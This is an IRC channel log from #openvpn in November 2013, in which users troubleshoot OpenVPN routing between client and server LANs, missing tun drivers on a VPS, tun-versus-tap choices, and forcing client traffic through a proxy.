16:36 < SviMik> I spent a day to make dd-wrt work as wifi access point with two vitual networks, each on own vlan
16:36 <+pekster> dd-wrt is shit
16:37 <+pekster> And yes, if you start doing it without any prep work, it takes longer
16:37 <+pekster> My point is it doesn't _have_ to take "days" to set it up if you know what you're doing and did your prep work properly
16:37 < SviMik> finnaly I got it working, but my laptop refuses to connect to one of them :)
16:37 < SviMik> don't know why..
16:37 <+pekster> dd-wrt has awful devs, a history of blowing off security problems. I strongly recommend avoiding dd-wrt at all costs
16:38 < nsgn> enormous stupid moment on my part aside, i'm now darn impressed with modern openvpn. it's doing precisely what i need here and really taking very little overhead
16:40 < SviMik> pekster my point is that my router already ready to do any thing without any prep work, without digging into console, etc.
16:41 < SviMik> and, it has few mPCI slots to install multiple wlan cards :)
16:41 <+pekster> People who do backend networking don't generally use GUIs, or at least know how to use them becuase you simply can't do everything from a GUI
16:41 <+pekster> Then again, I work in the field, not just use them in SOHO settings
16:42 -!- pyqwer [~dusty@horn.qwer.tk] has joined #openvpn
16:42 <+pekster> know how to use the console that is
16:43 < SviMik> pekster in case of this router it is exception: this GUI can do 100% of all features that console can. all GUI menus are just copy of console menu sections
16:43 <+pekster> Then the CLI sucks on that
16:43 <+pekster> How can I write a perl script from the GUI?
16:43 < pyqwer> Hi, I have a strange routing problem here - I have a quite simple setup with 2 LANs that should be connected through OpenVPN. I can reach Client_LAN from Server_LAN but not reverse, the client OpenVPN gateway does not route it right, any clue why?
16:44 <+pekster> A console runs a shell; web UIs display web pages and are _only_ able to do what the backend CGI supports. Ever.
16:44 < SviMik> this GUI is able to edit scripts, and even manage files with simply drag-n-drop (in both directions)
16:44 < SviMik> you just didn't saw it
16:44 <+pekster> I don't care; this is a stupid (andn off-topic here) argument
16:45 -!- nsgn [~nsgn@cpe-24-28-25-43.austin.res.rr.com] has quit [Quit: Leaving]
16:46 < SviMik> never mind. there is also telnet and ssh, if you don't like gui
16:46 <+pekster> pyqwer: Sounds like a firewall issue; if a PC on a LAN behind 1 peer can reach a PC behind the other, you know routing works because the return packet makes it back
16:47 <+pekster> You either have a firewall problem, or perhaps a NAT involved that "hides" one entire side of the network from the other (don't NAT between 2 networks in your routing domain if that's the case)
16:48 < pyqwer> No, it's not a firewall issue. The interesting thing is, that I can see with traceroute that the vpn_client routes packages from client_lan to server_lan1 over the internet gateway instead of tun0
16:49 < pyqwer> I can also see this with tcpdump.
16:49 <+pekster> I have no idea what "server_lan1" is or how it compares to "Server_LAN"
16:49 <+pekster> Try describing your setup with actual networks somewhere, maybe ideally on a pastebin or with some configs, becuase inconsistent use of abstractions doesn't make me want to try and figure out what you have
16:50 < pyqwer> Sorry, my fault: I have an openvpn server and an openvpn client. Behind the client I have a LAN, I call it client_lan. Behind the server, I have 3 lans, I call them server_lan1, server_lan2 and server_lan3.
16:50 < pyqwer> O.k., I'll do so.
16:50 <+pekster> Well, that's a much better description so far
16:50 <+pekster> So you want what, bi-directional communication between the client_lan and each of teh server_lan{1,2,3} ?
16:51 < pyqwer> Exactly.
16:51 < pyqwer> From server_lan{1-3} client_lan is reachable. No problem here.
16:51 <+pekster> From the openvpn server, or from a LAN client in server_lanX?
16:51 < pyqwer> From client_lan server_lan{2-3} is also reachable, but server_lan1 not.
16:51 <+pekster> (the distinction is important
16:51 < pyqwer> Both.
16:52 < pyqwer> Ah, sorry.
16:52 <+pekster> Yea, firewall issue, unless you're doing some crazy policy routing (in which case it's broken)
16:53 <+pekster> If a LAN _client_ in server_lan1 can reach (and get a reply) from a LAN system in client_lan, that proves the routing is fine because the client_lan reply was _routed_ back to the original PC
16:53 < pyqwer> Yes, I know, true.
16:53 <+pekster> Assuming no NAT involved, a firewall somewhere isn't letting traffic initiated the other direction go where it should
16:53 < pyqwer> Nevertheless, when doing a traceroute from client_lan to server_lan1, it routes over the internet gateway.
16:53 <+pekster> If your openvpn server isn't the default gateway for server_lan1, make sure the gateway has proper routing/firewall setup
16:54 <+pekster> Maybe you want to see:
16:54 <+pekster> !clientlan
16:54 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
16:54 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
16:54 <+pekster> Almost sounds like you have NAT involved
16:54 <+pekster> What's the client_lan gateway?
16:55 <+pekster> Why isn't it aware of how to send the packets properly?
16:56 < pyqwer> That's a strange setup here: For all clients, the VPN_Client is set up as the default gateway (192.168.133.1). The VPN_Client itself has another default gateway, which is, however, in the same subnet (192.168.133.2).
16:56 < pyqwer> And this one (192.168.133.2) routes the packages to the internet.
16:56 <+pekster> What OS does the VPN client run?
16:56 < pyqwer> OpenWRT
16:56 <+pekster> And are you sure this "misbehaving" LAN-client system is using .1 as the gateway?
16:56 < pyqwer> Yes.
16:57 <+pekster> So pastebin the output of `ip route show` and `ip rule show` from the 192.168.133.1 host
16:57 <+pekster> Please also label the networks
17:00 < pyqwer> Thanks for help so far, here are the details: http://pastebin.com/S3iNJr9p
17:03 <+pekster> Routing is fine, and there's no goofy policy routing in place. A a packet that passes through the vpn_client host bound for 192.168.50.0/24 will be routed via tun0
17:03 < pyqwer> Yeah, thought so, too.
17:04 <+pekster> The only things that would change that behaviour is 1) LAN PC isn't actually sending to that host, or 2) DNAT on the router that changes the destination before the routing decision
17:04 <+pekster> s/host/gateway/
17:08 < pyqwer> O.k., thanks a lot for having a look at my routing, so I'll investigate somewhere else - maybe you're right and it's still the firewall...
17:09 <+pekster> netfilter doesn't make routing decisions; there was an old `-j ROUTE` target, but it has been removed (you'd do that today with `ip rule` that can, if you'd like, match on fwmark)
17:10 <+pekster> You can also play with `ip route get` and see what the kernenl would do for certain types of input
17:10 < pyqwer> sounds interesting.
17:10 <+pekster> It's a useful tool (especially if you have a setup that does involve multiple routing tables, rules, and other complex policy routing stuff)
17:11 <+pekster> By comparison, your setup is relatively simple
17:11 < pyqwer> Yes, it is quite simple, I think.
17:11 <+pekster> f.ex, `ip route get 192.168.50.123` will show tun0
17:11 < pyqwer> Yes, it does.
17:18 -!- Kuba_ [~jakub@87-239-45-70.ip.gronet.pl] has joined #openvpn
17:18 -!- Kuba [~jakub@unaffiliated/kuba] has quit [Read error: Connection reset by peer]
17:21 < pyqwer> O.k., things are clearing up a bit, there are two issues: (1): I tried to ping a host in server_lan1 which is also in server_lan2, which I forgot and led to those strange problems.
17:22 -!- Kuba_ [~jakub@87-239-45-70.ip.gronet.pl] has quit [Read error: Connection reset by peer]
17:23 -!- Kuba [~jakub@unaffiliated/kuba] has joined #openvpn
17:23 < pyqwer> (2) may be firewall issues...
17:25 <+pekster> If a host is in multiple LANs, it needs to know how to multi-home properly
17:25 <+pekster> If you expect it to actively respond to traffic send to both back over the same interface, you need policy routing
17:25 <+pekster> (the same being the one it arrived on)
17:26 < pyqwer> O.k., yes, I put this server into both lans for performance reasons - some kind of dirty hack - and just forgot about it. Silly me...
17:26 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Quit: svimik@mail.ru]
17:28 -!- faLUCE [~paolo@host102-47-dynamic.47-79-r.retail.telecomitalia.it] has quit [Quit: Konversation terminated!]
17:36 -!- elfixit [~Icedove@46-65-216-44.zone16.bethere.co.uk] has quit [Ping timeout: 245 seconds]
17:43 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
17:44 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
17:48 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 240 seconds]
17:49 -!- TheWoManual [~ma1com10t@host-92-20-71-56.as13285.net] has joined #openvpn
17:50 -!- elfixit [~Icedove@82.197.179.5] has joined #openvpn
17:50 -!- TheWoManual is now known as debbie10t
17:50 -!- debbie10t is now known as OMFGReadme
17:51 -!- OMFGReadme is now known as debbie10t
17:51 -!- mode/#openvpn [+o debbie10t] by ChanServ
17:52 -!- debbie10t is now known as OVPN101
17:53 <@OVPN101> did that guy nsgn sort out smb yet ?
17:56 -!- JuddyJacob [~androirc@unaffiliated/juddyjacob] has joined #openvpn
17:57 <@OVPN101> hey JJ
17:58 < JuddyJacob> Hey :)
17:58 <@OVPN101> how art thou ;)
17:59 < JuddyJacob> Pretty good, reading up, still learning :-)
17:59 <@OVPN101> damm good for you :)
17:59 <@OVPN101> got any issues ?
18:00 < JuddyJacob> Ha ha, thanks, waiting for this book on open VPN to get shipped, reading the pc is making my head spin, lol
18:01 <@OVPN101> fair play ... lots of stuff to learn .. i am still abeginner myself
18:01 < JuddyJacob> Not currently, everything is running good, i'm going to enable the server authentication soon, see if i can get through it without any issues
18:02 < JuddyJacob> Feels like its never ending :-) , always something to learn, or in my case, catch up :-)
18:03 <@OVPN101> the iceburg loometh
18:03 <@OVPN101> ;)
18:05 < JuddyJacob> I've been thinking of another users problem, says openvpn transfer rate is crazy slow, says its a single tread cpu, locked at 50%
18:05 < JuddyJacob> Wondering, assuming you have hyper threading, how you would go about configuring open vpn to use more threads.
18:06 < JuddyJacob> If at all
18:07 <@OVPN101> that's a source code issue .. i was just bieng friendly ;)
18:07 -!- pyqwer [~dusty@horn.qwer.tk] has quit [Quit: Client exiting]
18:07 <@OVPN101> but it is open source if you feel you can improve it
18:07 < JuddyJacob> I read it used to, then it was stripped beginning 2.0
18:08 < JuddyJacob> I wish, not even close to being able to help, unfortunately :(
18:08 <@OVPN101> probably a compiler issue
18:08 <@OVPN101> fear not feint heart
18:10 < JuddyJacob> Lol, ill get there some day, sometimes I just feel so consumed, just trying to finish my ticketing server, I've taken the day off today though....lol
18:10 -!- JuddyJacob [~androirc@unaffiliated/juddyjacob] has quit [Remote host closed the connection]
18:10 -!- JuddyJacob [~androirc@unaffiliated/juddyjacob] has joined #openvpn
18:12 <@OVPN101> you godda do what you godda do
18:13 <@OVPN101> next time i am out on the street hacking wi-fi
18:13 <@OVPN101> if my battery holds out
18:14 -!- OVPN101 is now known as debbie10t
18:14 < JuddyJacob> Ha ha, I've herd a lot about wireless security, and tools to use to help, not sure how secure any of it is anymore
18:15 < JuddyJacob> I'm sure as better encryption comes out, the same people who created it, are making ways to get through it :-)
18:16 <@debbie10t> yup
18:16 <@debbie10t> i am sure i am being hacvked as we speak
18:16 <@debbie10t> there he goes
18:17 <@debbie10t> alice in wonderland
18:17 <@debbie10t> its a spevial sort of game
18:17 <+pekster> With a secure WPA2 implementation (and a random PSK, if using that mode) it's decently secure today
18:18 < JuddyJacob>  I'm by no means an expert, but cisco has some neat features on the aironets to help increase security
18:18 <@debbie10t> apparently the NSA are pushing SPs to lower thier security ..
18:19 <@debbie10t> i just dont fkn care anymore
18:19 < JuddyJacob> I forget what its called, but basiclly only allows users to communicate with the gateway only
18:19 <+pekster> Right, basically an L2 filter
18:20 < JuddyJacob> Yeah, im not big on the nsa, i dont have a damn thing to hide but i dont appreciate them spying on me
18:20 <@debbie10t> apparently cisco do not support openvpn ? dont even know what that means
18:20 <@debbie10t> its a port
18:20 <@debbie10t> are cisco scanning
18:20 <@debbie10t> are openvpn the pirates ?
18:20 <+pekster> debbie10t: "Cisco" supports openvpn as well as Windows does when you haven't installed openvpn
18:21 <+pekster> ie: it doesn't
18:21 <@debbie10t> its all madness !
18:21 <+pekster> OpenVPN requires a compatible implementation speak thte OpenVPN protocol
18:21 < JuddyJacob> I know by default cisco blocks multicast
18:21 <+pekster> Cisco, naturally, would rather you use their competing protocol as it keeps your business locked into them as a vendor
18:21 <@debbie10t> hey pekster .. what the deal on that .. can u give us a wee liddle clue ?
18:22 <@debbie10t> ahhhh.... gotcha
18:22 <+pekster> It's a closed OS that you can't build software for
18:22 <+pekster> "Black box is very black"
18:22 <@debbie10t> more fool them
18:23 <@debbie10t> the big wide world .. life will find a way ;)
18:23 <@debbie10t> pure speculation of course
18:23 -!- HyperGli_ [~HyperGlid@182.151.165.160] has quit [Quit: Leaving...]
18:26 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
18:26 <@debbie10t> pekster never sleeps . . .
18:26 < JuddyJacob> I need to get another host server, id like to try and setup a gateway to gateway connection, or point to point, is it much different?
18:27 <@debbie10t> suitable routing .. no problem
18:27 <@debbie10t> to my limited knowledge
18:29 < JuddyJacob> What i mean is, i didn't happen to notice any sample configs for server to server connections, i really want this book to get here, lol
18:29 <@debbie10t> lol
18:30 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 245 seconds]
18:31 < JuddyJacob> Its funny, ive used open vpn for years now, and until just recently, decided to try and setup one myself, sigh
18:32 < JuddyJacob> Be back, gotta put the kid to sleep :-)
18:32 -!- JuddyJacob [~androirc@unaffiliated/juddyjacob] has quit [Quit: AndroIRC - Android IRC Client ( http://www.androirc.com )]
18:37 <@debbie10t> pekster - just gotta let you ll know i am on some major pain killers right now .. i am gonna have to go offline for a week or more ..sorry guys but d10t is out of action
18:39 <@debbie10t> no symathy required .. just info
18:41 <@debbie10t> but my judgement may not be good .. so i reckon i have to simply shut off
18:43 <@debbie10t> going offline .. hope i see you all in a week or so
18:45 -!- debbie10t [~ma1com10t@host-92-20-71-56.as13285.net] has left #openvpn []
18:51 -!- speed_racer84 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has quit [Ping timeout: 272 seconds]
18:55 -!- speed_racer84 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has joined #openvpn
19:04 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 245 seconds]
19:10 -!- Cultist is now known as Goatist
19:11 -!- Goatist is now known as Cultist
19:31 -!- schnitzl [~schnitzl@dslb-188-110-237-169.pools.arcor-ip.net] has quit [Ping timeout: 272 seconds]
19:32 -!- schnitzl [~schnitzl@dslb-094-217-207-034.pools.arcor-ip.net] has joined #openvpn
19:45 -!- napoleonwilson [~napoleonw@host-83-146-10-5.dslgb.com] has joined #openvpn
19:46 < napoleonwilson> anyone managed to get xbmc to work thru an openvpn connection
19:48 < napoleonwilson> i think i need to play around with iptables or routes to force xbmc traffic thu an openvpn connection
19:49 -!- JuddyJacob [~androirc@unaffiliated/juddyjacob] has joined #openvpn
19:52 -!- napoleonwilson [~napoleonw@host-83-146-10-5.dslgb.com] has quit [Quit: Leaving]
19:57 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
20:04 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
20:04 -!- mode/#openvpn [+o dazo_afk] by ChanServ
20:04 -!- dazo_afk is now known as dazo
20:05 -!- JuddyJacob [~androirc@unaffiliated/juddyjacob] has quit [Remote host closed the connection]
20:06 -!- JuddyJacob [~androirc@unaffiliated/juddyjacob] has joined #openvpn
20:13 -!- speed_racer84 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has quit [Ping timeout: 240 seconds]
20:14 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
20:19 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 240 seconds]
20:34 -!- JuddyJacob [~androirc@unaffiliated/juddyjacob] has quit [Remote host closed the connection]
20:35 -!- JuddyJacob [~androirc@unaffiliated/juddyjacob] has joined #openvpn
20:35 <@krzee> hah napoleonwilson shoulda stayed here longer
20:35 <@krzee> xbmc is just some layer3 shit, same as redirecting anything else
20:37 <+pekster> Not "everything" xbmc does works over unicast; portions of DLNA won't, for instance
20:43 <@krzee> good point, i assumed he uses it like i do, not completely safe to assume
20:43 <@krzee> i assumed he's talking about things like 1channel
20:44 <@krzee> (which is rather awesome btw)
20:46 < JuddyJacob> Nas4free has some neat multimedia features, i always liked the itunes shared library :-) is that the DLNA?
20:52 <+pekster> Broadcast/multicast is a link-layer (Ethernet) concept, and won't work unless using tap with openvpn
20:53 <+pekster> Besides that need, you shouldn't use tap (see !tunortap and !whytap for details)
21:00 <@Ziber> hey krzee
21:01 < JuddyJacob> Can you pass DHCP through tun, or only tap?
21:02 <+pekster> DHCP is a broadcast-based protocol, so tap only. This said, you really don't want to use tap with dhcp due to problems of passing a default route to VPN clients
21:02 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
21:07 < JuddyJacob> From what i noticed so far, the openvpn address pool is on a /30, which seems like a lot of wasted addresses, not that its important to me, but i ask because I'm curious if you wanted a /24 address, would you have to use tap and a bridge?
21:08 <+pekster> !/30
21:08 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
21:08 -!- Guest7470 [~root@87.117.255.113] has joined #openvpn
21:08 <+pekster> /30 is a dumb relic from 6 years ago; there is zero reason to use net30 (still the default today in 2.3.x) unless you're actually running 2.0.9 or earlier and using Windows. Don't use 6 year old versions ;)
21:09 -!- Guest7470 [~root@87.117.255.113] has left #openvpn []
21:10 -!- cosmicgate [~root@87.117.255.113] has joined #openvpn
21:10 < cosmicgate> what's the max speed i can get on openvpn with 0.5 core/512mb mem with enryption turned off?
21:10 < cosmicgate> on a vps*
21:13 < JuddyJacob> Interesting, i thought that was a bit strange! Good to know
21:14 <@Ziber> Hey, krzee, you about?
21:15 <@krzee> hey
21:16 <@Ziber> So, last part of my VPN setup... my home LAN. Two subnets there, 10.192.168.0/24 for wireless, 10.192.150.0/24 for ethernet. If I ping a machine in either of those subnets from my laptop, the packet goes through, but gets stopped at the LAN VPN client (I can see the packets coming back, via tcpdump). Tried adding forwarding rules, to no avail.
21:17 <@ecrist> heh, Ziber still has +o
21:17 <@Ziber> :D
21:17  * Ziber likes it. 
21:18 <@Ziber> I certainly will do my best to help people here.
21:18 <@krzee> !route_outside_ovpn
21:18 <@vpnHelper> "route_outside_ovpn" is "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
21:21 -!- ziddey [~xda-devs@sandybridge.home.ijib.com] has joined #openvpn
21:22 <@Ziber> Hrm.
21:23 <@Ziber> So many arrows.
21:24 <@Ziber> The routes are there. I think.
21:26 <@krzee> the router for their lan needs to know about the route to the vpn subnet
21:27 <@krzee> needs to point at the vpn node on its lan as the gateway for the vpn subnet
21:27 <@Ziber> Yes, it does.
21:27 <@krzee> oh they get to the client
21:27 <@Ziber> I can ping the LAN IP of the VPN client from my laptop (another VPN client).
21:28 <+pekster> That's not the same
21:28 <+pekster> All that does is show you have IP routing enabled
21:28 <+pekster> (the LAN's gw isn't involved there)
21:28 <@krzee> so when you tcpdump, you the lan machine recieves the ping, replies, and the vpn client sees the reply, but then it stops?
21:28 <@Ziber> hang on, brainfart.
21:29  * EugeneKay sprays febreeze
21:29 <@krzee> !clientlan
21:29 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for
21:29 <@vpnHelper> a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
21:29 <@krzee> follow the flowchart
21:29 <@krzee> tell me where you get stuck
21:29 < JuddyJacob> Source 10.192.168.0/24 & other | destination vpn pool subnet | via openvpn server address > if I'm following :-)
21:29 <@krzee> do NOT tell me from memory, follow the chart
21:30 <@Ziber> Yes, I will. One sec.
21:32 -!- JuddyJacob [~androirc@unaffiliated/juddyjacob] has quit [Remote host closed the connection]
21:32 -!- JuddyJacob [~androirc@unaffiliated/juddyjacob] has joined #openvpn
21:39 <@Ziber> Gotta fix another problem first. The LAN machine can't ping the VPN client...
21:39 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has quit [Remote host closed the connection]
21:40 < JuddyJacob> Nathack??? Sounds interesting, im guessing a 1 to nat to the openvpnserver lan address?
21:41 -!- phunyguy [~phunyguy@h96-61-19-206.kgldga.dsl.dynamic.tds.net] has joined #openvpn
21:41 -!- phunyguy [~phunyguy@h96-61-19-206.kgldga.dsl.dynamic.tds.net] has quit [Changing host]
21:41 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has joined #openvpn
21:42 <@krzee> the nathack is nating the vpn subnet to look like the vpn node's lan address
21:42 <@krzee> used for when !route_outside_ovpn is not an option
21:42 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has quit [Remote host closed the connection]
21:44 -!- phunyguy [~phunyguy@h96-61-19-206.kgldga.dsl.dynamic.tds.net] has joined #openvpn
21:44 -!- phunyguy [~phunyguy@h96-61-19-206.kgldga.dsl.dynamic.tds.net] has quit [Changing host]
21:44 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has joined #openvpn
21:44 < JuddyJacob> That's pretty neat, i don't think i would have ever thought of that
21:45  * Ziber sighs
21:45 <@Ziber> Machine on LAN (10.192.150.51) can't ping VPN client (10.192.150.50) but the VPN client can ping it.
21:46 <@Ziber> OOOH. LAN MACHINE HAS A FIREWALL.
21:46 < JuddyJacob> Ha ha, you typed faster then i could, "on my tablet..lol"
21:47 < JuddyJacob> Win7?
21:48 <@Ziber> What? I'm on an Ubuntu laptop.
21:49 < JuddyJacob> Oh :-), nevermind
21:54 <@Ziber> This is frustrating me.
21:55 -!- ziddey is now known as xda-devs
21:55 -!- xda-devs is now known as ziddey
21:55 <@krzee> #netfilter if you need help with your iptables
21:57 <@Ziber> What's frustrating me... Is that I have bridged interfaces (because the VPN client is also a xen VM host) and the physical interface and the bridge both have the same IP... usually when you bridge_ports... the physical one won't show up with an address.
21:59 <@Ziber> I killed it.
22:00 <@Ziber> Tried setting the physical interface into manual mode... Lost connectivity.
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- JuddyJacob [~androirc@unaffiliated/juddyjacob] has quit [Remote host closed the connection]
22:01 -!- JuddyJacob [~androirc@unaffiliated/juddyjacob] has joined #openvpn
22:01 <@krzee> cool, you'll need to fix your network before you worry about the vpn
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:02 <@Ziber> Yeah. I really shouldn't play with any of this while I'm 200 miles away.
22:02 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
22:06 <@Ziber> What I should've really done, is put the VPN on a VM... So if I did brick it, I could've consoled to it.
22:07 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 272 seconds]
22:15 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
22:27 -!- JuddyJacob [~androirc@unaffiliated/juddyjacob] has quit [Quit: AndroIRC - Android IRC Client ( http://www.androirc.com )]
23:05 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
23:05 < nutcase> hey I cant seem to get openvpn ot start on this vps I got I have no real idea why
23:05 < nutcase> I am getting a weird sort of error that I dont know how to fix here is a copy of it http://static.inky.ws/text/833/52772ab7df4a0
23:09 <@Ziber> nutcase: I typically just use the service utility. If dh2048.pem does actually exist in /etc/openvpn, the way you're running it might look in your current directory, ie. /root.
23:10 < nutcase> yeah I think I got it
23:10 < nutcase> it was doing something really weird before
23:10 < nutcase> I can show you a log sec
23:12 < nutcase> http://static.inky.ws/text/834/52772ab7df4a0
23:14 <+pekster> nutcase: Missing tun driver then
23:14 < nutcase> It said it had it though
23:14 <+pekster> You cannot use openvpn without the tun driver loaded
23:14 <+pekster> "it said" ?? What said?
23:15 <+pekster> `lsmod | grep tun`
23:15 < nutcase> yes I know
23:15 < nutcase> root@Nether:~# sudo cat /dev/net/tun
23:15 < nutcase> cat: /dev/net/tun: File descriptor in bad state
23:15 <+pekster> You can't cat it like that, no
23:15 < nutcase> thats what everwhere tells you to do though
23:15 < nutcase> and if you get that error its running
23:15 <+pekster> Then "everwhere" is wrong
23:16 < nutcase> if you get a different one its not
23:16 <+pekster> Check to see if it's there as a character device with mode 10 200
23:16 < nutcase> a what?
23:16 <+pekster> A character device. All devices are either block or character devices
23:17 <+pekster> mknod(1) would be your reference, as is ~linux/Documentation/networking/tuntap.txt
23:17 < nutcase> okay
23:18 <+pekster> At any rate, your "VPS" admin has screwed something up
23:18 <+pekster> This is a surprinsgly common problem with VPS setups
23:18 <+pekster> !openvz
23:18 <@vpnHelper> "openvz" is (#1) http://wiki.openvz.org/VPN_via_the_TUN/TAP_device to learn bout openvz specific stuff with regards to openvpn or (#2) It is usually less painful to switch to a host with better virtualization technology, eg KVM or Xen
23:19 <+pekster> OpenVZ is in general a shitty virt solution used mainly by providers trying to oversell cheap services. It's basically nothing more than a glorified chroot
23:21 -!- lupine [~lupine@unaffiliated/lupine-85/x-7392152] has quit [Ping timeout: 245 seconds]
23:31 <@Ziber> !ipv6
23:31 <@vpnHelper> "ipv6" is (#1) http://www.greenie.net/ipv6/openvpn.html for info about the ipv6 patch (adds nice ipv6 options to openvpn) or (#2) use 2.3 or see !snapshots for a release with ipv6 patches in it or (#3) http://ipstats.arvig.net/BraveHeartMEME.jpg
23:37 <@Ziber> Anyway, night.
23:49 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
23:49 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
--- Day changed Mon Nov 04 2013
00:05 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
00:06 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 240 seconds]
00:06 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
00:11 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 272 seconds]
00:21 -!- elfixit [~Icedove@82.197.179.5] has quit [Quit: elfixit]
00:34 -!- kubbing [~kubbing@gprs27.vodafone.cz] has joined #openvpn
00:37 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
00:38 -!- map is now known as Guest24625
00:42 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
00:42 -!- jY [~jy@photoblog.com] has joined #openvpn
00:44 < jY> so i have a openvpn server in my office and a router that has a static route to the openvpn server.. when i'm sending traffic to the other end (10.88.22.21) I see the traffic on the openvpn server on the office but not on the datacenter end which is on the 10.88.0.0/16 network.. on the office side /proc/sys/net/ipv4/ip_forward is 1
00:44 < jY> is there anything else i need to setup?
00:46 <+pekster> What is the goal here? (!goal). Do you have a server-side LAN you're trying to connect to?
00:47 < jY> pekster: yes.. i can connect to any machine on the server side lan from the office vpn client
00:47 < jY> just not from another machine in the office
00:47 < jY> from a traceroute it looks like all the packets in the office hit the router then the vpn client and die there
00:48 <+pekster> Sounds like no return routing
00:48 <+pekster> We have a flowchart at !clientlan you might try and follow
00:48 < jY> ok thanks.. i'll take a look
00:48 < jY> but i shouldn't need any special iptables rules right?
00:48 <+pekster> Offhand it sounds to me like your server-side routing doesn't know how to reach your client LAN network, or a firewall somewhere is not allowing the reply
00:48 <+pekster> Your firewall needs to be configured correctly anywhere you have one
00:49 <+pekster> That includes a minimum of 4 systems in your setup, and more if you have additional gateways involved
00:49 < jY> the return routing on the server network side?
00:49 <+pekster> Right. Just follow the flowchart & it defines the problem for you
00:50 < jY> !clientlan
00:50 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a
00:50 <@vpnHelper> better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
00:50 <+pekster> Assuming your VPN config is correct (the routing and client ccd/--iroute) then you have a routing or firewall problem. Fllowchart covers all that
00:51 < jY> ok thanks
00:52 -!- gourneau [~gourneau@2602:306:37fe:6e80:2d9b:7b69:3265:fee] has joined #openvpn
00:54 < gourneau> Howdy
00:54 -!- gourneau [~gourneau@2602:306:37fe:6e80:2d9b:7b69:3265:fee] has quit [Client Quit]
00:56 -!- gourneau [~Adium@2602:306:37fe:6e80:2d9b:7b69:3265:fee] has joined #openvpn
00:57 < gourneau> Howdy Y'all. Is there anyway I can make all the HTTP traffic from my OpenVPN clients go through a HTTP Proxy server of my choice?
01:06 <@EugeneKay> Sure, same way you force it regularly - iptables DNAT rule to your proxy
01:08 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
01:11 < gourneau> Great thanks, this looks like a pretty good guide http://www.cyberciti.biz/tips/linux-setup-transparent-proxy-squid-howto.html
01:11 <@vpnHelper> Title: Linux: Setup a transparent proxy with Squid in three easy steps (at www.cyberciti.biz)
01:11 <@EugeneKay> Probably; cyberciti guides are usually right, for the specific environment mentioned.
